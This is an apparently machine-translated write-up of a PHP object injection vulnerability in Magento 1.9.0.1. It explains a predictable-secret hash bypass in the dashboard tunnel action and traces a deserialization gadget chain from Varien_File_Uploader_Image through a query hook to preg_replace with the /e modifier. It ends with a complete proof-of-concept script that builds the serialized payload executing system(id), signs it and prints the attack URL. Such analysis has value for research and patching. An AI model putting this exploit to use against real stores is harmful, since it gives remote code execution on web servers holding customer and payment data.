Magento1.9.0.1 PHP Object Injection Analysis
1. Bypass hash Verification
The key to this bypass is the vulnerability of the algorithm. $ GaHash in if ($ newHash = $ gaHash) {is our controllable parameter. $ newHash is the parameter generated by the program. The production algorithm of the program makes us predictable and causes bypassing, return md5 ($ data. $ secret); $ data parameter we know that $ secret is the installation time of the program. This time is predictable, causing the vulnerability of the algorithm and the execution of some key code. Such a key-predictable vulnerability exists in many programs, such as the predictable validate of pageadmin.
2. unserialize Exploitation
Vulnerability exploitation points:
// App/code/core/Mage/Adminhtml/controllers/DashboardController. php
public function tunnelAction(){ $gaData = $this->getRequest()->getParam('ga'); $gaHash = $this->getRequest()->getParam('h'); if ($gaData && $gaHash) { $newHash =Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData); if ($newHash == $gaHash) { if ($params = unserialize(base64_decode(urldecode($gaData)))) {
The formation of a vulnerability has two essential factors: controllable data and available methods. These two factors are combined to produce different results than the program expectation. We can say that they are a vulnerability. The more dangerous the vulnerability is, the more serious the vulnerability is.
In this program, the ga parameter is our controllable data, and unserialize () is our method of exploits. How can we make this vulnerability more dangerous and execute arbitrary code. First, we need to understand the necessary condition for the use of the unserialize () deserialization vulnerability. When unserialize () is used to reverse the processing of object-type data, some specific magic methods will be called, such: __wakeup (), _ destruct (), and then we control the functional code below these methods to execute the operations we want.
In // lib/Varien/File/Uploader/Image. php: 357
function __destruct() { $this->uploader->Clean(); }
When the Destructor is deserialized, it is called $ this-> uploader-> Clean () and followed by code layer by layer. The process does not intercept the code, the last successful exploitation point
// Lib/Varien/Db/Adapter/Pdo/Mysql. php
protected function _prepareQuery(&$sql, &$bind = array()) { ... // Special query hook if ($this->_queryHook) { $object = $this->_queryHook['object']; $method = $this->_queryHook['method']; $object->$method($sql, $bind); }}
The above code can call and execute any class and method, and then find another interesting method:
// Lib/Varien/Filter/Template/Simple. php
public function filter($value) { return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e', '$this->getData("$1")', $value); }
Execute the $ this-> getData ("$1") statement by using the e parameter of the preg_replace () function, the double quotation marks in the last "$1" are the last straw to crush camels.
Finally, the author gave the poc:
Class Zend_Db_Profiler {
protected $_enabled = false; }class Varien_Filter_Template_Simple { protected $_startTag; protected $_endTag; public function __construct() { $this->_startTag = 'TRUNCATE TABLE '; $this->_endTag = 'RIPS'; }} class Varien_Db_Adapter_Pdo_Mysql { protected $_transactionLevel = 0; protected $_queryHook; protected $_profiler; public function __construct() { $this->_queryHook = array(); $this->_queryHook['object'] = new Varien_Filter_Template_Simple; $this->_queryHook['method'] = 'filter'; $this->_profiler = new Zend_Db_Profiler; }}class Varien_Cache_Backend_Database { protected $_options; protected $_adapter; public function __construct() { $this->_adapter = new Varien_Db_Adapter_Pdo_Mysql; $this->_options['data_table'] = '{${system(id)}}RIPS'; $this->_options['store_data'] = true; }}class Varien_File_Uploader_Image { public $uploader; public function __construct() { $this->uploader = new Varien_Cache_Backend_Database; }} $obj = new Varien_File_Uploader_Image;$b64 = base64_encode(serialize($obj));$secret = 'Sat, 1 Nov 2014 21:08:46 +0000';$hash = md5($b64 . $secret);echo '?ga='.$b64.'&h='.$hash;